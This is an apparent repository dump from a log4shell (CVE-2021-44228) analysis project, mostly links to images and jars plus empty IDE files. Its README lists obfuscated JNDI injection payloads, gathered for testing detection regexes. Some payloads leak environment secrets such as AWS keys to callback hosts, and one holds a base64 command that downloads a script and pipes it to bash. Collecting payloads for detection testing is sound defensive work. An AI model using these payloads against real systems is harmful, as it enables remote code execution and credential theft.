/analysis/_resources/55b2ba138fb25f77a49f16a38f02456c.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/55b2ba138fb25f77a49f16a38f02456c.png
--------------------------------------------------------------------------------
/analysis/_resources/55e511ab5ac499f13a17fe6bef094403.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/55e511ab5ac499f13a17fe6bef094403.png
--------------------------------------------------------------------------------
/analysis/_resources/5709dcfc4b1138c2f1d66b53607fa23b.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/5709dcfc4b1138c2f1d66b53607fa23b.png
--------------------------------------------------------------------------------
/analysis/_resources/5c78afd9a5886e5c6bb649789f9c97c8.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/5c78afd9a5886e5c6bb649789f9c97c8.png
--------------------------------------------------------------------------------
/analysis/_resources/6471540616f2b56f3692c78377d1cec1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/6471540616f2b56f3692c78377d1cec1.png
--------------------------------------------------------------------------------
/analysis/_resources/6f5cc1740684b40d24de1f53c2e8a3c2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/6f5cc1740684b40d24de1f53c2e8a3c2.png
--------------------------------------------------------------------------------
/analysis/_resources/6fa251c292e09e04c1393746aad1060c.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/6fa251c292e09e04c1393746aad1060c.png
--------------------------------------------------------------------------------
/analysis/_resources/70b4a3fd2f99f1d02481f2acf8813f90.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/70b4a3fd2f99f1d02481f2acf8813f90.png
--------------------------------------------------------------------------------
/analysis/_resources/7cec2f3c5f772d1e0adda4da08246f83.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/7cec2f3c5f772d1e0adda4da08246f83.png
--------------------------------------------------------------------------------
/analysis/_resources/7d7b37f3c825c3483732a60be2cbca20.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/7d7b37f3c825c3483732a60be2cbca20.png
--------------------------------------------------------------------------------
/analysis/_resources/7d9659e6cd22bcfedcf4cf852945cae8.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/7d9659e6cd22bcfedcf4cf852945cae8.png
--------------------------------------------------------------------------------
/analysis/_resources/7f28be35d6aa4538a70b5461f74d3520.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/7f28be35d6aa4538a70b5461f74d3520.png
--------------------------------------------------------------------------------
/analysis/_resources/7fa7a02c858f9967703de2a338f3c5c2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/7fa7a02c858f9967703de2a338f3c5c2.png
--------------------------------------------------------------------------------
/analysis/_resources/804db11902e68e9baa9379414d5feb71.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/804db11902e68e9baa9379414d5feb71.png
--------------------------------------------------------------------------------
/analysis/_resources/82b95916d5692c64f8668e4adc79a7b2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/82b95916d5692c64f8668e4adc79a7b2.png
--------------------------------------------------------------------------------
/analysis/_resources/854d06de3aa3257384be6bb094ea492e.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/854d06de3aa3257384be6bb094ea492e.png
--------------------------------------------------------------------------------
/analysis/_resources/8844536be52b20f086f6d0287c55f7ea.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/8844536be52b20f086f6d0287c55f7ea.png
--------------------------------------------------------------------------------
/analysis/_resources/8cc2027fbfd5b8fe770477fc99d94998.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/8cc2027fbfd5b8fe770477fc99d94998.png
--------------------------------------------------------------------------------
/analysis/_resources/93627fbbb3394b65e79b09d83b6df868.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/93627fbbb3394b65e79b09d83b6df868.png
--------------------------------------------------------------------------------
/analysis/_resources/956b6e4a081325eb02d67fb29722bce1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/956b6e4a081325eb02d67fb29722bce1.png
--------------------------------------------------------------------------------
/analysis/_resources/9e65cb9876e62566315c7bca34151c61.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/9e65cb9876e62566315c7bca34151c61.png
--------------------------------------------------------------------------------
/analysis/_resources/9f16f7df7f14f9091be31c8fdbbcbb27.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/9f16f7df7f14f9091be31c8fdbbcbb27.png
--------------------------------------------------------------------------------
/analysis/_resources/9fc205bf45e2b9616f7138da0653139d.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/9fc205bf45e2b9616f7138da0653139d.png
--------------------------------------------------------------------------------
/analysis/_resources/a1de449a38ac139e7dfe75905cd0c04d.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/a1de449a38ac139e7dfe75905cd0c04d.png
--------------------------------------------------------------------------------
/analysis/_resources/aa8cf0fc8f2d4d0d117b53689886d486.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/aa8cf0fc8f2d4d0d117b53689886d486.png
--------------------------------------------------------------------------------
/analysis/_resources/adbfbccf0c51fdc4ca4624730aa176e2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/adbfbccf0c51fdc4ca4624730aa176e2.png
--------------------------------------------------------------------------------
/analysis/_resources/b02d8e797e7097bcf24e5fa2e28407e2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/b02d8e797e7097bcf24e5fa2e28407e2.png
--------------------------------------------------------------------------------
/analysis/_resources/bca1d08014ebe058934ec05db8c4b851.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/bca1d08014ebe058934ec05db8c4b851.png
--------------------------------------------------------------------------------
/analysis/_resources/be7dfc5206b50cb905251071df33c5d4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/be7dfc5206b50cb905251071df33c5d4.png
--------------------------------------------------------------------------------
/analysis/_resources/c356976510c54f5452b8c4be28361e44.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/c356976510c54f5452b8c4be28361e44.png
--------------------------------------------------------------------------------
/analysis/_resources/c5a8d0c6efb9cf44b2f0f1c5a929937b.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/c5a8d0c6efb9cf44b2f0f1c5a929937b.png
--------------------------------------------------------------------------------
/analysis/_resources/ca8aa1934de265d795e1501f66a383c7.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/ca8aa1934de265d795e1501f66a383c7.png
--------------------------------------------------------------------------------
/analysis/_resources/ce2500904ac46adffbebb93521119a80.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/ce2500904ac46adffbebb93521119a80.png
--------------------------------------------------------------------------------
/analysis/_resources/d5a0ff95685ddb90d706daa375ae882e.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/d5a0ff95685ddb90d706daa375ae882e.png
--------------------------------------------------------------------------------
/analysis/_resources/d90cdc0be28eb2de9b3d99027433b064.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/d90cdc0be28eb2de9b3d99027433b064.png
--------------------------------------------------------------------------------
/analysis/_resources/e6450a22f6c1cd29f11228946fe00599.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/e6450a22f6c1cd29f11228946fe00599.png
--------------------------------------------------------------------------------
/analysis/_resources/e930cf4a7c9e3ddf29a853ad9a99fec3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/e930cf4a7c9e3ddf29a853ad9a99fec3.png
--------------------------------------------------------------------------------
/analysis/_resources/f10ca4a1152363b71641fcf6400557a9.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/f10ca4a1152363b71641fcf6400557a9.png
--------------------------------------------------------------------------------
/analysis/_resources/f2b86462af2261f96c3753b03558242c.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/f2b86462af2261f96c3753b03558242c.png
--------------------------------------------------------------------------------
/analysis/_resources/f7cb207ba192ba1c8b2a17f163b3ce21.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/f7cb207ba192ba1c8b2a17f163b3ce21.png
--------------------------------------------------------------------------------
/payloads/README.md:
--------------------------------------------------------------------------------
1 | # Payload samples
2 |
3 | This is a list of [log4shell](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) payloads seen on my twitter feeds.
4 |
5 | The goal is to allows testing detection regexes defined in protection systems.
6 |
7 | ## Sources & credits
8 |
9 | * https://twitter.com/h4x0r_dz/status/1469663187079417857/photo/1
10 | * https://twitter.com/ymzkei5/status/1469765165348704256
11 | * https://twitter.com/sirifu4k1/status/1469524530255511552
12 | * https://twitter.com/BountyOverflow/status/1470001858873802754
13 | * https://twitter.com/entropyqueen_/status/1469961345848299520
14 | * https://twitter.com/anthrax0/status/1470276303773663233
15 | * https://twitter.com/log4j2rce/status/1469799982630944770
16 | * https://twitter.com/11xuxx/status/1471236310299906050
17 | * https://twitter.com/11xuxx/status/1471826191724257285
18 | * https://twitter.com/arezthehopebust/status/1472252553626742785
19 | * https://github.com/projectdiscovery/nuclei-templates/pull/3334/files
20 | * https://github.com/PortSwigger/log4shell-scanner/blob/master/src/main/kotlin/burp/BurpExtender.kt#L70
21 | * https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words/blob/main/src/main/java/log4j.java
22 | * https://github.com/tangxiaofeng7/BurpLog4j2Scan/blob/master/src/main/java/burp/BurpExtender.java#L84
23 | * https://github.com/fullhunt/log4j-scan/blob/master/log4j-scan.py#L52
24 | * https://github.com/takito1812/log4j-detect/blob/main/log4j-detect.py#L9
25 | * https://docs.google.com/document/d/15V4EmDcOl4Mog5-If-Mv3-ZoRcf9-RsGSWlqYte3zho/edit
26 | * https://www.cyberkendra.com/2021/12/log4shell-advisory-resource-cheat-sheet.html
27 | * https://blog.talosintelligence.com/2021/12/apache-log4j-rce-vulnerability.html
28 |
29 | ## Value collections
30 |
31 | * https://github.com/Neo23x0/log4shell-detector/tree/main/tests/test-cases
32 | * https://github.com/whwlsfb/Log4j2Scan/tree/master/src/main/java/burp/poc/impl
33 |
34 | ## Values gathered
35 |
36 | > When a source was not an image then values provided were added to the list below.
37 |
38 | 💡 Note that `:/` instead of `://` is effective too.
39 |
40 | ```text
41 | ${j${k8s:k5:-ND}i${sd:k5:-:}ldap://mydogsbutt.com:1389/o}
42 | ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://1234.${hostName}.com}
43 | ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attacker_controled_website/payload_to_be_executed}
44 | ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://somesitehackerofhell.com/z}
45 | ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1389/ass}
46 | ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://attacker_controled_website/payload_to_be_executed}
47 | ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://{{callback_host}}/{{random}}},
48 | ${${::-j}nd${::-i}:
49 | ${${::-j}ndi:
50 | ${${::-j}ndi:dns://${env:USERNAME}.c6roi3ia89k5kj1mes60cg5a1doyyyyyn.interactsh.com}
51 | ${${::-j}ndi:rmi://127.0.0.1:1389/ass}
52 | ${${::-j}ndi:rmi://{{callback_host}}/{{random}}},
53 | ${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//somesitehackerofhell.com/z}
54 | ${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}attacker_controled_website/payload_to_be_executed}
55 | ${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//your.burpcollaborator.net/a}
56 | ${${env:TEST:-j}ndi${env:TEST:-:}${env:TEST:-l}dap${env:TEST:-:}attacker_controled_website/payload_to_be_executed}
57 | ${${lower:${lower:jndi}}:${lower:rmi}://a.s.d/poc}
58 | ${${lower:${lower:jndi}}:${lower:rmi}://{{callback_host/{{random}}},
59 | ${${lower:jndi}:${lower:rmi}://dslepf.dnslog.cn/tem}
60 | ${${lower:jndi}:${lower:rmi}://q.w.e/poc}
61 | ${${lower:jndi}:${lower:rmi}://{{callback_Host}}/{{random}}},
62 | ${${lower:jnd}${lower:${upper:ı}}:ldap://...}
63 | ${${lower:j}${lower:n}${lower:d}i:${lower:ldap}://xxx
64 | ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://{{callback_host}}/{{random}}},
65 | ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://dslepf.dnslog.cn/tem}
66 | ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://{{callback_host}}/{{random}}},
67 | ${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attacker_controled_website/payload_to_be_executed}
68 | ${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://somesitehackerofhell.com/z}
69 | ${${upper:j}ndi:${upper:l}${upper:d}a${upper:p}://somesitehackerofhell.com/z}
70 | ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://
71 | ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName}.{{interactsh-url}}}
72 | ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://1234.${hostName}.com}
73 | ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://attacker_controled_website/payload_to_be_executed }
74 | ${jndi:${lower:l}${lower:d}a${lower:p}://attacker_controled_website/payload_to_be_executed}
75 | ${jndi:${lower:l}${lower:d}a${lower:p}://example.com/
76 | ${jndi:${lower:l}${lower:d}ap://attacker_controled_website/payload_to_be_executed}
77 | ${jndi:dns://${env:COMPUTERNAME}.uedo81.dnslog.cn/a}
78 | ${jndi:dns://${env:USERDOMAIN}.qnfw43.dnslog.cn/a}
79 | ${jndi:dns://${hostName}.uedo81.dnslog.cn/a}
80 | ${jndi:dns://aeutbj.example.com/ext}
81 | ${jndi:dns://{{callback_host}}}
82 | ${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.badserver.com}
83 | ${jndi:ldap://${env:JAVA_VERSION}.domain/a}
84 | ${jndi:ldap://${env:USER}.attacker.server/}
85 | ${jndi:ldap://${env:user}.uedo81.dnslog.cn/exp}
86 | ${jndi:ldap://${hostName}.domain/a}
87 | ${jndi:ldap://${sys:java.vendor}.domain/a}
88 | ${jndi:ldap://${sys:java.version}.domain/a}
89 | ${jndi:ldap://45.155.205[.]233[:]12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC9bdmljdGltIElQXTpbdmljdGltIHBvcnRdfHx3Z2V0IC1xIC1PLSA0NS4xNTUuMjA1LjIzMzo1ODc0L1t2aWN0aW0gSVBdOlt2aWN0aW0gcG9ydF0pfGJhc2gK}
90 | ${jndi:ldap://dslepf.dnslog.cn/exp}
91 | ${jndi:ldap://somesitehackerofhell.com/z}
92 | ${jndi:rmi://a.b.c}
93 | ${jndi:rmi://{{callback_host}}},
94 | j${::-nD}i${::-:}
95 | j${EnV:K5:-nD}i:
96 | j${k8s:k5:-ND}i${sd:k5:-:}
97 | j${loWer:Nd}i${uPper::}
98 | j${main:\k5:-Nd}i${spring:k5:-:}
99 | j${sys:k5:-nD}${lower:i${web:k5:-:}}
100 | jn${date:}di${date:':'}
101 | jn${env::-}di:
102 | ${jnd${123%25ff:-${123%25ff:-i:}}ldap://mydogsbutt.com:1389/o}
103 | 127.0.0.1/${jndi:ldap://3y2i0ndknzu3ggcfrukjvhviy945su.burpcollaborator.net/${java:version}}
104 | ```
105 |
--------------------------------------------------------------------------------
/playground/BBlog4j - core - 2.14.1.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/playground/BBlog4j - core - 2.14.1.jar
--------------------------------------------------------------------------------
/playground/dom4j-1.1.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/playground/dom4j-1.1.jar
--------------------------------------------------------------------------------
/playground/ear files/HelloWorldApp.ear:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/playground/ear files/HelloWorldApp.ear
--------------------------------------------------------------------------------
/playground/war files/Lab6A.war:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/playground/war files/Lab6A.war
--------------------------------------------------------------------------------
/playground/war files/sample.war:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/playground/war files/sample.war
--------------------------------------------------------------------------------
/sandbox/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # Default ignored files
2 | /shelf/
3 | /workspace.xml
4 |
--------------------------------------------------------------------------------
/sandbox/.idea/compiler.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
--------------------------------------------------------------------------------
/sandbox/.idea/dictionaries/drighetto.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | bcrypt
5 | transcoder
6 |
7 |
8 |
--------------------------------------------------------------------------------
/sandbox/.idea/encodings.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/sandbox/.idea/jarRepositories.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
--------------------------------------------------------------------------------
/sandbox/.idea/libraries/Maven__junit_junit_4_12.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/sandbox/.idea/libraries/Maven__org_apache_logging_log4j_log4j_api_2_16_0.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/sandbox/.idea/libraries/Maven__org_apache_logging_log4j_log4j_core_2_16_0.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/sandbox/.idea/libraries/Maven__org_hamcrest_hamcrest_core_1_3.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/sandbox/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/sandbox/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/sandbox/.idea/runConfigurations.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |